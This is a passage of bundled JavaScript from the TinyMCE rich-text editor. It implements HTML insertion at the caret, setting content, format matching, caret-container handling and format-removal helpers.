        const isPastingInContentEditable = Optional.from(getContentEditableRoot$1(root, parentNode)).forall(isContentEditableTrue$3);
        return isContentEditable && isPastingInTheSameBlockTag && isPastingInContentEditable;
      } else {
        return false;
      }
    };
    const isTableCell = isTableCell$3;
    const isTableCellContentSelected = (dom, rng, cell) => {
      if (isNonNullable(cell)) {
        const endCell = dom.getParent(rng.endContainer, isTableCell);
        return cell === endCell && hasAllContentsSelected(SugarElement.fromDom(cell), rng);
      } else {
        return false;
      }
    };
    const validInsertion = (editor, value, parentNode) => {
      var _a;
      if (parentNode.getAttribute('data-mce-bogus') === 'all') {
        (_a = parentNode.parentNode) === null || _a === void 0 ? void 0 : _a.insertBefore(editor.dom.createFragment(value), parentNode);
      } else {
        const node = parentNode.firstChild;
        const node2 = parentNode.lastChild;
        if (!node || node === node2 && node.nodeName === 'BR') {
          editor.dom.setHTML(parentNode, value);
        } else {
          editor.selection.setContent(value, { no_events: true });
        }
      }
    };
    const trimBrsFromTableCell = (dom, elm) => {
      Optional.from(dom.getParent(elm, 'td,th')).map(SugarElement.fromDom).each(trimBlockTrailingBr);
    };
    const reduceInlineTextElements = (editor, merge) => {
      const textInlineElements = editor.schema.getTextInlineElements();
      const dom = editor.dom;
      if (merge) {
        const root = editor.getBody();
        const elementUtils = ElementUtils(editor);
        Tools.each(dom.select('*[data-mce-fragment]'), node => {
          const isInline = isNonNullable(textInlineElements[node.nodeName.toLowerCase()]);
          if (isInline && hasInheritableStyles(dom, node)) {
            for (let parentNode = node.parentElement; isNonNullable(parentNode) && parentNode !== root; parentNode = parentNode.parentElement) {
              const styleConflict = hasStyleConflict(dom, node, parentNode);
              if (styleConflict) {
                break;
              }
              if (elementUtils.compare(parentNode, node)) {
                dom.remove(node, true);
                break;
              }
            }
          }
        });
      }
    };
    const markFragmentElements = fragment => {
      let node = fragment;
      while (node = node.walk()) {
        if (node.type === 1) {
          node.attr('data-mce-fragment', '1');
        }
      }
    };
    const unmarkFragmentElements = elm => {
      Tools.each(elm.getElementsByTagName('*'), elm => {
        elm.removeAttribute('data-mce-fragment');
      });
    };
    const isPartOfFragment = node => {
      return !!node.getAttribute('data-mce-fragment');
    };
    const canHaveChildren = (editor, node) => {
      return isNonNullable(node) && !editor.schema.getVoidElements()[node.nodeName];
    };
    const moveSelectionToMarker = (editor, marker) => {
      var _a, _b, _c;
      let nextRng;
      const dom = editor.dom;
      const selection = editor.selection;
      if (!marker) {
        return;
      }
      selection.scrollIntoView(marker);
      const parentEditableElm = getContentEditableRoot$1(editor.getBody(), marker);
      if (parentEditableElm && dom.getContentEditable(parentEditableElm) === 'false') {
        dom.remove(marker);
        selection.select(parentEditableElm);
        return;
      }
      let rng = dom.createRng();
      const node = marker.previousSibling;
      if (isText$a(node)) {
        rng.setStart(node, (_b = (_a = node.nodeValue) === null || _a === void 0 ? void 0 : _a.length) !== null && _b !== void 0 ? _b : 0);
        const node2 = marker.nextSibling;
        if (isText$a(node2)) {
          node.appendData(node2.data);
          (_c = node2.parentNode) === null || _c === void 0 ? void 0 : _c.removeChild(node2);
        }
      } else {
        rng.setStartBefore(marker);
        rng.setEndBefore(marker);
      }
      const findNextCaretRng = rng => {
        let caretPos = CaretPosition.fromRangeStart(rng);
        const caretWalker = CaretWalker(editor.getBody());
        caretPos = caretWalker.next(caretPos);
        return caretPos === null || caretPos === void 0 ? void 0 : caretPos.toRange();
      };
      const parentBlock = dom.getParent(marker, dom.isBlock);
      dom.remove(marker);
      if (parentBlock && dom.isEmpty(parentBlock)) {
        empty(SugarElement.fromDom(parentBlock));
        rng.setStart(parentBlock, 0);
        rng.setEnd(parentBlock, 0);
        if (!isTableCell(parentBlock) && !isPartOfFragment(parentBlock) && (nextRng = findNextCaretRng(rng))) {
          rng = nextRng;
          dom.remove(parentBlock);
        } else {
          dom.add(parentBlock, dom.create('br', { 'data-mce-bogus': '1' }));
        }
      }
      selection.setRng(rng);
    };
    const deleteSelectedContent = editor => {
      const dom = editor.dom;
      const rng = normalize(editor.selection.getRng());
      editor.selection.setRng(rng);
      const startCell = dom.getParent(rng.startContainer, isTableCell);
      if (isTableCellContentSelected(dom, rng, startCell)) {
        deleteCellContents(editor, rng, SugarElement.fromDom(startCell));
      } else if (rng.startContainer === rng.endContainer && rng.endOffset - rng.startOffset === 1 && isText$a(rng.startContainer.childNodes[rng.startOffset])) {
        rng.deleteContents();
      } else {
        editor.getDoc().execCommand('Delete', false);
      }
    };
    const insertHtmlAtCaret = (editor, value, details) => {
      var _a, _b;
      const selection = editor.selection;
      const dom = editor.dom;
      const parser = editor.parser;
      const merge = details.merge;
      const serializer = HtmlSerializer({ validate: true }, editor.schema);
      const bookmarkHtml = '<span id="mce_marker" data-mce-type="bookmark">&#xFEFF;</span>';
      if (value.indexOf('{$caret}') === -1) {
        value += '{$caret}';
      }
      value = value.replace(/\{\$caret\}/, bookmarkHtml);
      let rng = selection.getRng();
      const caretElement = rng.startContainer;
      const body = editor.getBody();
      if (caretElement === body && selection.isCollapsed()) {
        if (dom.isBlock(body.firstChild) && canHaveChildren(editor, body.firstChild) && dom.isEmpty(body.firstChild)) {
          rng = dom.createRng();
          rng.setStart(body.firstChild, 0);
          rng.setEnd(body.firstChild, 0);
          selection.setRng(rng);
        }
      }
      if (!selection.isCollapsed()) {
        deleteSelectedContent(editor);
      }
      const parentNode = selection.getNode();
      const parserArgs = {
        context: parentNode.nodeName.toLowerCase(),
        data: details.data,
        insert: true
      };
      const fragment = parser.parse(value, parserArgs);
      if (details.paste === true && isListFragment(editor.schema, fragment) && isParentBlockLi(dom, parentNode)) {
        rng = insertAtCaret$1(serializer, dom, selection.getRng(), fragment);
        if (rng) {
          selection.setRng(rng);
        }
        return value;
      }
      if (details.paste === true && shouldPasteContentOnly(dom, fragment, parentNode, editor.getBody())) {
        (_a = fragment.firstChild) === null || _a === void 0 ? void 0 : _a.unwrap();
      }
      markFragmentElements(fragment);
      let node = fragment.lastChild;
      if (node && node.attr('id') === 'mce_marker') {
        const marker = node;
        for (node = node.prev; node; node = node.walk(true)) {
          if (node.type === 3 || !dom.isBlock(node.name)) {
            if (node.parent && editor.schema.isValidChild(node.parent.name, 'span')) {
              node.parent.insert(marker, node, node.name === 'br');
            }
            break;
          }
        }
      }
      editor._selectionOverrides.showBlockCaretContainer(parentNode);
      if (!parserArgs.invalid) {
        value = serializer.serialize(fragment);
        validInsertion(editor, value, parentNode);
      } else {
        editor.selection.setContent(bookmarkHtml);
        let parentNode = selection.getNode();
        let tempNode;
        const rootNode = editor.getBody();
        if (isDocument$1(parentNode)) {
          parentNode = tempNode = rootNode;
        } else {
          tempNode = parentNode;
        }
        while (tempNode && tempNode !== rootNode) {
          parentNode = tempNode;
          tempNode = tempNode.parentNode;
        }
        value = parentNode === rootNode ? rootNode.innerHTML : dom.getOuterHTML(parentNode);
        const root = parser.parse(value);
        for (let markerNode = root; markerNode; markerNode = markerNode.walk()) {
          if (markerNode.attr('id') === 'mce_marker') {
            markerNode.replace(fragment);
            break;
          }
        }
        const toExtract = fragment.children();
        const parent = (_b = fragment.parent) !== null && _b !== void 0 ? _b : root;
        fragment.unwrap();
        const invalidChildren = filter$5(toExtract, node => isInvalid(editor.schema, node, parent));
        cleanInvalidNodes(invalidChildren, editor.schema);
        filter$2(parser.getNodeFilters(), parser.getAttributeFilters(), root);
        value = serializer.serialize(root);
        if (parentNode === rootNode) {
          dom.setHTML(rootNode, value);
        } else {
          dom.setOuterHTML(parentNode, value);
        }
      }
      reduceInlineTextElements(editor, merge);
      moveSelectionToMarker(editor, dom.get('mce_marker'));
      unmarkFragmentElements(editor.getBody());
      trimBrsFromTableCell(dom, selection.getStart());
      updateCaret(editor.schema, editor.getBody(), selection.getStart());
      return value;
    };

    const isTreeNode = content => content instanceof AstNode;

    const moveSelection = editor => {
      if (hasFocus(editor)) {
        firstPositionIn(editor.getBody()).each(pos => {
          const node = pos.getNode();
          const caretPos = isTable$2(node) ? firstPositionIn(node).getOr(pos) : pos;
          editor.selection.setRng(caretPos.toRange());
        });
      }
    };
    const setEditorHtml = (editor, html, noSelection) => {
      editor.dom.setHTML(editor.getBody(), html);
      if (noSelection !== true) {
        moveSelection(editor);
      }
    };
    const setContentString = (editor, body, content, args) => {
      if (content.length === 0 || /^\s+$/.test(content)) {
        const padd = '<br data-mce-bogus="1">';
        if (body.nodeName === 'TABLE') {
          content = '<tr><td>' + padd + '</td></tr>';
        } else if (/^(UL|OL)$/.test(body.nodeName)) {
          content = '<li>' + padd + '</li>';
        }
        const forcedRootBlockName = getForcedRootBlock(editor);
        if (editor.schema.isValidChild(body.nodeName.toLowerCase(), forcedRootBlockName.toLowerCase())) {
          content = padd;
          content = editor.dom.createHTML(forcedRootBlockName, getForcedRootBlockAttrs(editor), content);
        } else if (!content) {
          content = padd;
        }
        setEditorHtml(editor, content, args.no_selection);
        return {
          content,
          html: content
        };
      } else {
        if (args.format !== 'raw') {
          content = HtmlSerializer({ validate: false }, editor.schema).serialize(editor.parser.parse(content, {
            isRootContent: true,
            insert: true
          }));
        }
        const trimmedHtml = isWsPreserveElement(SugarElement.fromDom(body)) ? content : Tools.trim(content);
        setEditorHtml(editor, trimmedHtml, args.no_selection);
        return {
          content: trimmedHtml,
          html: trimmedHtml
        };
      }
    };
    const setContentTree = (editor, body, content, args) => {
      filter$2(editor.parser.getNodeFilters(), editor.parser.getAttributeFilters(), content);
      const html = HtmlSerializer({ validate: false }, editor.schema).serialize(content);
      const trimmedHtml = isWsPreserveElement(SugarElement.fromDom(body)) ? html : Tools.trim(html);
      setEditorHtml(editor, trimmedHtml, args.no_selection);
      return {
        content,
        html: trimmedHtml
      };
    };
    const setContentInternal = (editor, content, args) => {
      return Optional.from(editor.getBody()).map(body => {
        if (isTreeNode(content)) {
          return setContentTree(editor, body, content, args);
        } else {
          return setContentString(editor, body, content, args);
        }
      }).getOr({
        content,
        html: isTreeNode(args.content) ? '' : args.content
      });
    };

    const sibling = (scope, predicate) => sibling$1(scope, predicate).isSome();

    const ensureIsRoot = isRoot => isFunction(isRoot) ? isRoot : never;
    const ancestor = (scope, transform, isRoot) => {
      let element = scope.dom;
      const stop = ensureIsRoot(isRoot);
      while (element.parentNode) {
        element = element.parentNode;
        const el = SugarElement.fromDom(element);
        const transformed = transform(el);
        if (transformed.isSome()) {
          return transformed;
        } else if (stop(el)) {
          break;
        }
      }
      return Optional.none();
    };
    const closest$2 = (scope, transform, isRoot) => {
      const current = transform(scope);
      const stop = ensureIsRoot(isRoot);
      return current.orThunk(() => stop(scope) ? Optional.none() : ancestor(scope, transform, stop));
    };

    const isEq$3 = isEq$5;
    const matchesUnInheritedFormatSelector = (ed, node, name) => {
      const formatList = ed.formatter.get(name);
      if (formatList) {
        for (let i = 0; i < formatList.length; i++) {
          const format = formatList[i];
          if (isSelectorFormat(format) && format.inherit === false && ed.dom.is(node, format.selector)) {
            return true;
          }
        }
      }
      return false;
    };
    const matchParents = (editor, node, name, vars, similar) => {
      const root = editor.dom.getRoot();
      if (node === root) {
        return false;
      }
      const matchedNode = editor.dom.getParent(node, elm => {
        if (matchesUnInheritedFormatSelector(editor, elm, name)) {
          return true;
        }
        return elm.parentNode === root || !!matchNode(editor, elm, name, vars, true);
      });
      return !!matchNode(editor, matchedNode, name, vars, similar);
    };
    const matchName = (dom, node, format) => {
      if (isInlineFormat(format) && isEq$3(node, format.inline)) {
        return true;
      }
      if (isBlockFormat(format) && isEq$3(node, format.block)) {
        return true;
      }
      if (isSelectorFormat(format)) {
        return isElement$6(node) && dom.is(node, format.selector);
      }
      return false;
    };
    const matchItems = (dom, node, format, itemName, similar, vars) => {
      const items = format[itemName];
      const matchAttributes = itemName === 'attributes';
      if (isFunction(format.onmatch)) {
        return format.onmatch(node, format, itemName);
      }
      if (items) {
        if (!isArrayLike(items)) {
          for (const key in items) {
            if (has$2(items, key)) {
              const value = matchAttributes ? dom.getAttrib(node, key) : getStyle(dom, node, key);
              const expectedValue = replaceVars(items[key], vars);
              const isEmptyValue = isNullable(value) || isEmpty$3(value);
              if (isEmptyValue && isNullable(expectedValue)) {
                continue;
              }
              if (similar && isEmptyValue && !format.exact) {
                return false;
              }
              if ((!similar || format.exact) && !isEq$3(value, normalizeStyleValue(expectedValue, key))) {
                return false;
              }
            }
          }
        } else {
          for (let i = 0; i < items.length; i++) {
            if (matchAttributes ? dom.getAttrib(node, items[i]) : getStyle(dom, node, items[i])) {
              return true;
            }
          }
        }
      }
      return true;
    };
    const matchNode = (ed, node, name, vars, similar) => {
      const formatList = ed.formatter.get(name);
      const dom = ed.dom;
      if (formatList && isElement$6(node)) {
        for (let i = 0; i < formatList.length; i++) {
          const format = formatList[i];
          if (matchName(ed.dom, node, format) && matchItems(dom, node, format, 'attributes', similar, vars) && matchItems(dom, node, format, 'styles', similar, vars)) {
            const classes = format.classes;
            if (classes) {
              for (let x = 0; x < classes.length; x++) {
                if (!ed.dom.hasClass(node, replaceVars(classes[x], vars))) {
                  return;
                }
              }
            }
            return format;
          }
        }
      }
      return undefined;
    };
    const match$2 = (editor, name, vars, node, similar) => {
      if (node) {
        return matchParents(editor, node, name, vars, similar);
      }
      node = editor.selection.getNode();
      if (matchParents(editor, node, name, vars, similar)) {
        return true;
      }
      const startNode = editor.selection.getStart();
      if (startNode !== node) {
        if (matchParents(editor, startNode, name, vars, similar)) {
          return true;
        }
      }
      return false;
    };
    const matchAll = (editor, names, vars) => {
      const matchedFormatNames = [];
      const checkedMap = {};
      const startElement = editor.selection.getStart();
      editor.dom.getParent(startElement, node => {
        for (let i = 0; i < names.length; i++) {
          const name = names[i];
          if (!checkedMap[name] && matchNode(editor, node, name, vars)) {
            checkedMap[name] = true;
            matchedFormatNames.push(name);
          }
        }
      }, editor.dom.getRoot());
      return matchedFormatNames;
    };
    const closest$1 = (editor, names) => {
      const isRoot = elm => eq(elm, SugarElement.fromDom(editor.getBody()));
      const match = (elm, name) => matchNode(editor, elm.dom, name) ? Optional.some(name) : Optional.none();
      return Optional.from(editor.selection.getStart(true)).bind(rawElm => closest$2(SugarElement.fromDom(rawElm), elm => findMap(names, name => match(elm, name)), isRoot)).getOrNull();
    };
    const canApply = (editor, name) => {
      const formatList = editor.formatter.get(name);
      const dom = editor.dom;
      if (formatList) {
        const startNode = editor.selection.getStart();
        const parents = getParents$2(dom, startNode);
        for (let x = formatList.length - 1; x >= 0; x--) {
          const format = formatList[x];
          if (!isSelectorFormat(format)) {
            return true;
          }
          for (let i = parents.length - 1; i >= 0; i--) {
            if (dom.is(parents[i], format.selector)) {
              return true;
            }
          }
        }
      }
      return false;
    };
    const matchAllOnNode = (editor, node, formatNames) => foldl(formatNames, (acc, name) => {
      const matchSimilar = isVariableFormatName(editor, name);
      if (editor.formatter.matchNode(node, name, {}, matchSimilar)) {
        return acc.concat([name]);
      } else {
        return acc;
      }
    }, []);

    const ZWSP = ZWSP$1;
    const importNode = (ownerDocument, node) => {
      return ownerDocument.importNode(node, true);
    };
    const getEmptyCaretContainers = node => {
      const nodes = [];
      let tempNode = node;
      while (tempNode) {
        if (isText$a(tempNode) && tempNode.data !== ZWSP || tempNode.childNodes.length > 1) {
          return [];
        }
        if (isElement$6(tempNode)) {
          nodes.push(tempNode);
        }
        tempNode = tempNode.firstChild;
      }
      return nodes;
    };
    const isCaretContainerEmpty = node => {
      return getEmptyCaretContainers(node).length > 0;
    };
    const findFirstTextNode = node => {
      if (node) {
        const walker = new DomTreeWalker(node, node);
        for (let tempNode = walker.current(); tempNode; tempNode = walker.next()) {
          if (isText$a(tempNode)) {
            return tempNode;
          }
        }
      }
      return null;
    };
    const createCaretContainer = fill => {
      const caretContainer = SugarElement.fromTag('span');
      setAll$1(caretContainer, {
        'id': CARET_ID,
        'data-mce-bogus': '1',
        'data-mce-type': 'format-caret'
      });
      if (fill) {
        append$1(caretContainer, SugarElement.fromText(ZWSP));
      }
      return caretContainer;
    };
    const trimZwspFromCaretContainer = caretContainerNode => {
      const textNode = findFirstTextNode(caretContainerNode);
      if (textNode && textNode.data.charAt(0) === ZWSP) {
        textNode.deleteData(0, 1);
      }
      return textNode;
    };
    const removeCaretContainerNode = (editor, node, moveCaret = true) => {
      const dom = editor.dom, selection = editor.selection;
      if (isCaretContainerEmpty(node)) {
        deleteElement$2(editor, false, SugarElement.fromDom(node), moveCaret);
      } else {
        const rng = selection.getRng();
        const block = dom.getParent(node, dom.isBlock);
        const startContainer = rng.startContainer;
        const startOffset = rng.startOffset;
        const endContainer = rng.endContainer;
        const endOffset = rng.endOffset;
        const textNode = trimZwspFromCaretContainer(node);
        dom.remove(node, true);
        if (startContainer === textNode && startOffset > 0) {
          rng.setStart(textNode, startOffset - 1);
        }
        if (endContainer === textNode && endOffset > 0) {
          rng.setEnd(textNode, endOffset - 1);
        }
        if (block && dom.isEmpty(block)) {
          fillWithPaddingBr(SugarElement.fromDom(block));
        }
        selection.setRng(rng);
      }
    };
    const removeCaretContainer = (editor, node, moveCaret = true) => {
      const dom = editor.dom, selection = editor.selection;
      if (!node) {
        node = getParentCaretContainer(editor.getBody(), selection.getStart());
        if (!node) {
          while (node = dom.get(CARET_ID)) {
            removeCaretContainerNode(editor, node, false);
          }
        }
      } else {
        removeCaretContainerNode(editor, node, moveCaret);
      }
    };
    const insertCaretContainerNode = (editor, caretContainer, formatNode) => {
      var _a, _b;
      const dom = editor.dom;
      const block = dom.getParent(formatNode, curry(isTextBlock$1, editor.schema));
      if (block && dom.isEmpty(block)) {
        (_a = formatNode.parentNode) === null || _a === void 0 ? void 0 : _a.replaceChild(caretContainer, formatNode);
      } else {
        removeTrailingBr(SugarElement.fromDom(formatNode));
        if (dom.isEmpty(formatNode)) {
          (_b = formatNode.parentNode) === null || _b === void 0 ? void 0 : _b.replaceChild(caretContainer, formatNode);
        } else {
          dom.insertAfter(caretContainer, formatNode);
        }
      }
    };
    const appendNode = (parentNode, node) => {
      parentNode.appendChild(node);
      return node;
    };
    const insertFormatNodesIntoCaretContainer = (formatNodes, caretContainer) => {
      var _a;
      const innerMostFormatNode = foldr(formatNodes, (parentNode, formatNode) => {
        return appendNode(parentNode, formatNode.cloneNode(false));
      }, caretContainer);
      const doc = (_a = innerMostFormatNode.ownerDocument) !== null && _a !== void 0 ? _a : document;
      return appendNode(innerMostFormatNode, doc.createTextNode(ZWSP));
    };
    const cleanFormatNode = (editor, caretContainer, formatNode, name, vars, similar) => {
      const formatter = editor.formatter;
      const dom = editor.dom;
      const validFormats = filter$5(keys(formatter.get()), formatName => formatName !== name && !contains$1(formatName, 'removeformat'));
      const matchedFormats = matchAllOnNode(editor, formatNode, validFormats);
      const uniqueFormats = filter$5(matchedFormats, fmtName => !areSimilarFormats(editor, fmtName, name));
      if (uniqueFormats.length > 0) {
        const clonedFormatNode = formatNode.cloneNode(false);
        dom.add(caretContainer, clonedFormatNode);
        formatter.remove(name, vars, clonedFormatNode, similar);
        dom.remove(clonedFormatNode);
        return Optional.some(clonedFormatNode);
      } else {
        return Optional.none();
      }
    };
    const applyCaretFormat = (editor, name, vars) => {
      let caretContainer;
      const selection = editor.selection;
      const formatList = editor.formatter.get(name);
      if (!formatList) {
        return;
      }
      const selectionRng = selection.getRng();
      let offset = selectionRng.startOffset;
      const container = selectionRng.startContainer;
      const text = container.nodeValue;
      caretContainer = getParentCaretContainer(editor.getBody(), selection.getStart());
      const wordcharRegex = /[^\s\u00a0\u00ad\u200b\ufeff]/;
      if (text && offset > 0 && offset < text.length && wordcharRegex.test(text.charAt(offset)) && wordcharRegex.test(text.charAt(offset - 1))) {
        const bookmark = selection.getBookmark();
        selectionRng.collapse(true);
        let rng = expandRng(editor.dom, selectionRng, formatList);
        rng = split(rng);
        editor.formatter.apply(name, vars, rng);
        selection.moveToBookmark(bookmark);
      } else {
        let textNode = caretContainer ? findFirstTextNode(caretContainer) : null;
        if (!caretContainer || (textNode === null || textNode === void 0 ? void 0 : textNode.data) !== ZWSP) {
          caretContainer = importNode(editor.getDoc(), createCaretContainer(true).dom);
          textNode = caretContainer.firstChild;
          selectionRng.insertNode(caretContainer);
          offset = 1;
          editor.formatter.apply(name, vars, caretContainer);
        } else {
          editor.formatter.apply(name, vars, caretContainer);
        }
        selection.setCursorLocation(textNode, offset);
      }
    };
    const removeCaretFormat = (editor, name, vars, similar) => {
      const dom = editor.dom;
      const selection = editor.selection;
      let hasContentAfter = false;
      const formatList = editor.formatter.get(name);
      if (!formatList) {
        return;
      }
      const rng = selection.getRng();
      const container = rng.startContainer;
      const offset = rng.startOffset;
      let node = container;
      if (isText$a(container)) {
        if (offset !== container.data.length) {
          hasContentAfter = true;
        }
        node = node.parentNode;
      }
      const parents = [];
      let formatNode;
      while (node) {
        if (matchNode(editor, node, name, vars, similar)) {
          formatNode = node;
          break;
        }
        if (node.nextSibling) {
          hasContentAfter = true;
        }
        parents.push(node);
        node = node.parentNode;
      }
      if (!formatNode) {
        return;
      }
      if (hasContentAfter) {
        const bookmark = selection.getBookmark();
        rng.collapse(true);
        let expandedRng = expandRng(dom, rng, formatList, true);
        expandedRng = split(expandedRng);
        editor.formatter.remove(name, vars, expandedRng, similar);
        selection.moveToBookmark(bookmark);
      } else {
        const caretContainer = getParentCaretContainer(editor.getBody(), formatNode);
        const newCaretContainer = createCaretContainer(false).dom;
        insertCaretContainerNode(editor, newCaretContainer, caretContainer !== null && caretContainer !== void 0 ? caretContainer : formatNode);
        const cleanedFormatNode = cleanFormatNode(editor, newCaretContainer, formatNode, name, vars, similar);
        const caretTextNode = insertFormatNodesIntoCaretContainer(parents.concat(cleanedFormatNode.toArray()), newCaretContainer);
        if (caretContainer) {
          removeCaretContainerNode(editor, caretContainer, false);
        }
        selection.setCursorLocation(caretTextNode, 1);
        if (dom.isEmpty(formatNode)) {
          dom.remove(formatNode);
        }
      }
    };
    const disableCaretContainer = (editor, keyCode) => {
      const selection = editor.selection, body = editor.getBody();
      removeCaretContainer(editor, null, false);
      if ((keyCode === 8 || keyCode === 46) && selection.isCollapsed() && selection.getStart().innerHTML === ZWSP) {
        removeCaretContainer(editor, getParentCaretContainer(body, selection.getStart()));
      }
      if (keyCode === 37 || keyCode === 39) {
        removeCaretContainer(editor, getParentCaretContainer(body, selection.getStart()));
      }
    };
    const setup$u = editor => {
      editor.on('mouseup keydown', e => {
        disableCaretContainer(editor, e.keyCode);
      });
    };
    const replaceWithCaretFormat = (targetNode, formatNodes) => {
      const caretContainer = createCaretContainer(false);
      const innerMost = insertFormatNodesIntoCaretContainer(formatNodes, caretContainer.dom);
      before$3(SugarElement.fromDom(targetNode), caretContainer);
      remove$6(SugarElement.fromDom(targetNode));
      return CaretPosition(innerMost, 0);
    };
    const isFormatElement = (editor, element) => {
      const inlineElements = editor.schema.getTextInlineElements();
      return has$2(inlineElements, name(element)) && !isCaretNode(element.dom) && !isBogus$2(element.dom);
    };
    const isEmptyCaretFormatElement = element => {
      return isCaretNode(element.dom) && isCaretContainerEmpty(element.dom);
    };

    const postProcessHooks = {};
    const isPre = matchNodeNames(['pre']);
    const addPostProcessHook = (name, hook) => {
      const hooks = postProcessHooks[name];
      if (!hooks) {
        postProcessHooks[name] = [];
      }
      postProcessHooks[name].push(hook);
    };
    const postProcess$1 = (name, editor) => {
      if (has$2(postProcessHooks, name)) {
        each$e(postProcessHooks[name], hook => {
          hook(editor);
        });
      }
    };
    addPostProcessHook('pre', editor => {
      const rng = editor.selection.getRng();
      const hasPreSibling = blocks => pre => {
        const prev = pre.previousSibling;
        return isPre(prev) && contains$2(blocks, prev);
      };
      const joinPre = (pre1, pre2) => {
        const sPre2 = SugarElement.fromDom(pre2);
        const doc = documentOrOwner(sPre2).dom;
        remove$6(sPre2);
        append(SugarElement.fromDom(pre1), [
          SugarElement.fromTag('br', doc),
          SugarElement.fromTag('br', doc),
          ...children$1(sPre2)
        ]);
      };
      if (!rng.collapsed) {
        const blocks = editor.selection.getSelectedBlocks();
        const preBlocks = filter$5(filter$5(blocks, isPre), hasPreSibling(blocks));
        each$e(preBlocks, pre => {
          joinPre(pre.previousSibling, pre);
        });
      }
    });

    const listItemStyles = [
      'fontWeight',
      'fontStyle',
      'color',
      'fontSize',
      'fontFamily'
    ];
    const hasListStyles = fmt => isObject(fmt.styles) && exists(keys(fmt.styles), name => contains$2(listItemStyles, name));
    const findExpandedListItemFormat = formats => find$2(formats, fmt => isInlineFormat(fmt) && fmt.inline === 'span' && hasListStyles(fmt));
    const getExpandedListItemFormat = (formatter, format) => {
      const formatList = formatter.get(format);
      return isArray$1(formatList) ? findExpandedListItemFormat(formatList) : Optional.none();
    };
    const isRngStartAtStartOfElement = (rng, elm) => prevPosition(elm, CaretPosition.fromRangeStart(rng)).isNone();
    const isRngEndAtEndOfElement = (rng, elm) => {
      return nextPosition(elm, CaretPosition.fromRangeEnd(rng)).exists(pos => !isBr$6(pos.getNode()) || nextPosition(elm, pos).isSome()) === false;
    };
    const isEditableListItem = dom => elm => isListItem$2(elm) && dom.getContentEditableParent(elm) !== 'false';
    const getFullySelectedBlocks = selection => {
      const blocks = selection.getSelectedBlocks();
      const rng = selection.getRng();
      if (selection.isCollapsed()) {
        return [];
      }
      if (blocks.length === 1) {
        return isRngStartAtStartOfElement(rng, blocks[0]) && isRngEndAtEndOfElement(rng, blocks[0]) ? blocks : [];
      } else {
        const first = head(blocks).filter(elm => isRngStartAtStartOfElement(rng, elm)).toArray();
        const last = last$3(blocks).filter(elm => isRngEndAtEndOfElement(rng, elm)).toArray();
        const middle = blocks.slice(1, -1);
        return first.concat(middle).concat(last);
      }
    };
    const getFullySelectedListItems = selection => filter$5(getFullySelectedBlocks(selection), isEditableListItem(selection.dom));
    const getPartiallySelectedListItems = selection => filter$5(selection.getSelectedBlocks(), isEditableListItem(selection.dom));

    const each$8 = Tools.each;
    const isElementNode = node => isElement$6(node) && !isBookmarkNode$1(node) && !isCaretNode(node) && !isBogus$2(node);
    const findElementSibling = (node, siblingName) => {
      for (let sibling = node; sibling; sibling = sibling[siblingName]) {
        if (isText$a(sibling) && isNotEmpty(sibling.data)) {
          return node;
        }
        if (isElement$6(sibling) && !isBookmarkNode$1(sibling)) {
          return sibling;
        }
      }
      return node;
    };
    const mergeSiblingsNodes = (editor, prev, next) => {
      const elementUtils = ElementUtils(editor);
      const isPrevEditable = isElement$6(prev) && isEditable$3(prev);
      const isNextEditable = isElement$6(next) && isEditable$3(next);
      if (isPrevEditable && isNextEditable) {
        const prevSibling = findElementSibling(prev, 'previousSibling');
        const nextSibling = findElementSibling(next, 'nextSibling');
        if (elementUtils.compare(prevSibling, nextSibling)) {
          for (let sibling = prevSibling.nextSibling; sibling && sibling !== nextSibling;) {
            const tmpSibling = sibling;
            sibling = sibling.nextSibling;
            prevSibling.appendChild(tmpSibling);
          }
          editor.dom.remove(nextSibling);
          Tools.each(Tools.grep(nextSibling.childNodes), node => {
            prevSibling.appendChild(node);
          });
          return prevSibling;
        }
      }
      return next;
    };
    const mergeSiblings = (editor, format, vars, node) => {
      var _a;
      if (node && format.merge_siblings !== false) {
        const newNode = (_a = mergeSiblingsNodes(editor, getNonWhiteSpaceSibling(node), node)) !== null && _a !== void 0 ? _a : node;
        mergeSiblingsNodes(editor, newNode, getNonWhiteSpaceSibling(newNode, true));
      }
    };
    const clearChildStyles = (dom, format, node) => {
      if (format.clear_child_styles) {
        const selector = format.links ? '*:not(a)' : '*';
        each$8(dom.select(selector, node), childNode => {
          if (isElementNode(childNode) && isEditable$3(childNode)) {
            each$8(format.styles, (_value, name) => {
              dom.setStyle(childNode, name, '');
            });
          }
        });
      }
    };
    const processChildElements = (node, filter, process) => {
      each$8(node.childNodes, node => {
        if (isElementNode(node)) {
          if (filter(node)) {
            process(node);
          }
          if (node.hasChildNodes()) {
            processChildElements(node, filter, process);
          }
        }
      });
    };
    const unwrapEmptySpan = (dom, node) => {
      if (node.nodeName === 'SPAN' && dom.getAttribs(node).length === 0) {
        dom.remove(node, true);
      }
    };
    const hasStyle = (dom, name) => node => !!(node && getStyle(dom, node, name));
    const applyStyle = (dom, name, value) => node => {
      dom.setStyle(node, name, value);
      if (node.getAttribute('style') === '') {
        node.removeAttribute('style');
      }
      unwrapEmptySpan(dom, node);
    };

    const removeResult = Adt.generate([
      { keep: [] },
      { rename: ['name'] },
      { removed: [] }
    ]);
    const MCE_ATTR_RE = /^(src|href|style)$/;
    const each$7 = Tools.each;
    const isEq$2 = isEq$5;
    const isTableCellOrRow = node => /^(TR|TH|TD)$/.test(node.nodeName);
    const isChildOfInlineParent = (dom, node, parent) => dom.isChildOf(node, parent) && node !== parent && !dom.isBlock(parent);
    const getContainer = (ed, rng, start) => {
      let container = rng[start ? 'startContainer' : 'endContainer'];
      let offset = rng[start ? 'startOffset' : 'endOffset'];
      if (isElement$6(container)) {
        const lastIdx = container.childNodes.length - 1;
        if (!start && offset) {
          offset--;
        }
        container = container.childNodes[offset > lastIdx ? lastIdx : offset];
      }
      if (isText$a(container) && start && offset >= container.data.length) {
        container = new DomTreeWalker(container, ed.getBody()).next() || container;
      }
      if (isText$a(container) && !start && offset === 0) {
        container = new DomTreeWalker(container, ed.getBody()).prev() || container;
      }
      return container;
    };
    const normalizeTableSelection = (node, start) => {
      const prop = start ? 'firstChild' : 'lastChild';
      const childNode = node[prop];
      if (isTableCellOrRow(node) && childNode) {
        if (node.nodeName === 'TR') {
          return childNode[prop] || childNode;
        } else {
          return childNode;
        }
      }
      return node;
    };
    const wrap$1 = (dom, node, name, attrs) => {
      var _a;
      const wrapper = dom.create(name, attrs);
      (_a = node.parentNode) === null || _a === void 0 ? void 0 : _a.insertBefore(wrapper, node);
      wrapper.appendChild(node);
      return wrapper;
    };
    const wrapWithSiblings = (dom, node, next, name, attrs) => {
